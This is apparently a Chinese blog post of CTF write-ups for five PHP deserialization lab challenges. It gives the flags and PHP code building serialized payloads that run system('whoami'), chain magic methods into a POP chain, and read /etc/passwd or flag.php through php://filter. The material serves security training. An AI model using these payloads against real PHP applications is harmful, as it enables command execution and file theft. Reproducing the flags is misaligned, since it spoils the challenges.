PHP反序列化命令执行+PHP反序列化POP大链 +PHP反序列化基础

[题目信息]:

题目名称 题目难度
PHP反序列化命令执行 1

[题目考点]:

复制代码
反序列化命令执行,获取题目flag。

[Flag格式]:

复制代码
SangFor{t5euvZ_OB8Jd_h2-}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

复制代码
docker-compose up -d

[题目writeup]:

name赋值为system,$male赋值为whoami,即调用system(whoami)

复制代码
<?php
class A{
    public $name;
    public $male;

}
$a = new A();
$a -> name = "system";
$a -> male = "whoami";
echo serialize($a);

?>

5、序列化结果:

6、最终结果:







[题目信息]:

题目名称 题目难度
PHP反序列化POP大链 2

[题目考点]:

复制代码
通过多个类中不同的魔术方法,构造反序列化POP链,获取题目flag。

[Flag格式]:

复制代码
SangFor{qMWi3Uhs1r2uX6FB}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

复制代码
docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先通读代码,代码中存在6个类,每一个类中定义了两个变量,同时每个类中定义了不同的魔术方法。

复制代码
__desctruct()
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制。
__toString()
在对象当做字符串的时候会被调用
___call() 
当所调用的成员方法不存在(或者没有权限)该类时调用,用于对错误后做一些操作或者提示信息
__invoke()
直接调用对象名当方法使用时,就调用的是__invoke()方法

2、我们的目标是获取flag,函数getFlag()在类getFlag类中,而__destruct()魔术方法可以作为POP链的触发点

3、通过构造POP链,把__destruct()函数作为触发点,getFlag()函数作为终止点,最终获取flag

复制代码
<?php
class start_gg
{
        public $mod1; 
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1; 
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func //1
{
        public $mod1; //string1
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1 //2
{
        public $str1; //GetFlag
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag //3
{
        public function get_flag()
        {
                echo "i,m ok xxxxxxxx";
        }
}
$GetFlag    = new GetFlag();    
$func       = new func();
$string1    = new string1();
$funct      = new funct();
$Call       = new Call();
$start_gg   = new start_gg();

$start_gg->mod1 = $Call;
//pop链起始点
$Call->mod1 = $funct;
#类Call中的变量$mod1设置为funct的实例化对象,当调用$mod1中的test2()方法,funct类中并不存在test2()成员方法(函数),就会自动寻找魔术方法__call()并调用它
$funct->mod1 = $func;
#类funct中的mod1设置为类func的实例化对象,在代码中 $s1 = $this->mod1;$s1<==>$func类的实例化对象,$s1()是调用函数的方法,但现在$s1为类的实例化对象,所有会自动寻找并调用func类中的__invoke魔术方法

$func->mod1 = $string1;
#现在POP链执行了func中的魔术方法__invoke, $this->mod2 = "字符串拼接".$this->mod1;代码会被执行,其中$mod1被当作字符串处理,可以将$mod1设置为class string1的实例化对象,会自动搜索并调用类string1中的__string()魔术方法
$string1->str1 = $GetFlag;
#最后,将类string中的变量$str1设置为类GetFlag的实例化对象,会调用$this->str1->get_flag();获取flag

echo serialize($start_gg);

5、输出序列化内容为(红框内容不需要):

6、最终结果:









[题目信息]:

题目名称 题目难度
PHP反序列化pop链基础 1

[题目考点]:

复制代码
PHP反序列化pop链基础

[Flag格式]:

复制代码
SangFor{reIqYxxlWeD4bABr}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

复制代码
docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类A,类B

2、在类A中存在公有变量$classname和__destruct()魔术方法,在魔术方法中调用了类B中的read_file()函数

复制代码
类执行完毕以后调用,其最主要的作用是拿来做垃圾回收机制

3、在类B中,定义了私有变量filename,同时,read_file()函数中存在file_get_contents()函数,并且参数为filename。

4、最后存在unserialize()函数,同时参数也可控

利用方法

1、实例化类A

2、并且将类A中的公有变量$classname赋值为类B的实例化对象

复制代码
那么,当实例化类A的同时也实例化了类B

3、然后将类B中的私有变量$filename赋值所需读取文件名称

4、将实例化类A序列化并输出

5、最后将输出结果通过GET方式输入

复制代码
<?php
class A{
	public $classname;
}
class B{
	private $filename="/etc/passwd";
}
$a = new A();
$a -> classname = new B();

echo urlencode(serialize($a));
?>

5、输出序列化内容为:

6、最终结果:

既然可以读取passwd文件,那么尝试读一下flag.php文件吧!







[题目信息]:

题目名称 题目难度
PHP反序列化基础-2 1

[题目考点]:

复制代码
PHP反序列化基础2

[Flag格式]:

复制代码
SangFor{8wTFrFxSKMzXM3ng}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

复制代码
docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类Ser

2、第二行定义公有变量 $name

3、存在魔术方法wakeup

复制代码
当实例化的类反序列化时会自动触发__wakeup()魔术方法

4、在__wakeup函数中存在file_get_contents()函数,并且参数为name,可控(注意成员变量name为私有类型)

成员变量大致可以分为三类:

  • public 共有类型
  • private 私有类型
  • protected 被保护类型

当成员变量为私有类型时,当$name被反序列化时,前后为%00。

如果不做处理,在cmd命令行中显示类似于空格,复制到url地址栏时会被转化为%20,也就是空格的url编码,所以需要将输出的结果进行url。

5、最后存在unserialize()函数,并且参数可控

利用方法

1、实例化类Ser

2、使用php://filter伪协议,$name赋值所需读取文件名称

3、将实例化类Ser序列化并输出

4、将输出结果通过GET方式输入

复制代码
<?php 
class Ser{
	private $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo urlencode(serialize($a));
?>

将base64进行解码。









[题目信息]:

题目名称 题目难度
PHP反序列化基础 1

[题目考点]:

复制代码
1. PHP反序列化基础

[Flag格式]:

复制代码
SangFor{k26Bj-V9ENIY7tBy}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

复制代码
docker-compose up -d

[题目writeup]:

实验主页

代码分析

1、首先定义类Ser

2、第二行定义公有变量 $name

3、存在魔术方法 __toString

复制代码
当实例化的类被当作字符串处理时会自动触发__toString魔术方法

4、在__toString函数中存在file_get_contents()函数,并且参数为$name,可控

5、最后存在unserialize()函数,并且参数可控

利用方法

1、实例化类Ser

2、使用php://filter伪协议,$name赋值所需读取文件名称

3、将实例化类Ser序列化并输出

4、将输出结果通过GET方式输入

复制代码
<?php 
class Ser{
	public $name = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new Ser();
echo serialize($a);
?>

将base64进行解码。

相关推荐
雾月5513 分钟前
LeetCode 1292 元素和小于等于阈值的正方形的最大边长
java·数据结构·算法·leetcode·职场和发展
诡异森林。43 分钟前
Docker--Docker网络原理
网络·docker·容器
ALex_zry1 小时前
Docker Macvlan网络配置实战:解决“network already exists“错误
网络·docker·php
IT小辉同学1 小时前
Docker如何更换镜像源提高拉取速度
spring cloud·docker·eureka
24k小善1 小时前
Flink TaskManager详解
java·大数据·flink·云计算
想不明白的过度思考者1 小时前
Java从入门到“放弃”(精通)之旅——JavaSE终篇(异常)
java·开发语言
.生产的驴2 小时前
SpringBoot 封装统一API返回格式对象 标准化开发 请求封装 统一格式处理
java·数据库·spring boot·后端·spring·eclipse·maven
猿周LV2 小时前
JMeter 安装及使用 [软件测试工具]
java·测试工具·jmeter·单元测试·压力测试
晨集2 小时前
Uni-App 多端电子合同开源项目介绍
java·spring boot·uni-app·电子合同
时间之城2 小时前
笔记:记一次使用EasyExcel重写convertToExcelData方法无法读取@ExcelDictFormat注解的问题(已解决)
java·spring boot·笔记·spring·excel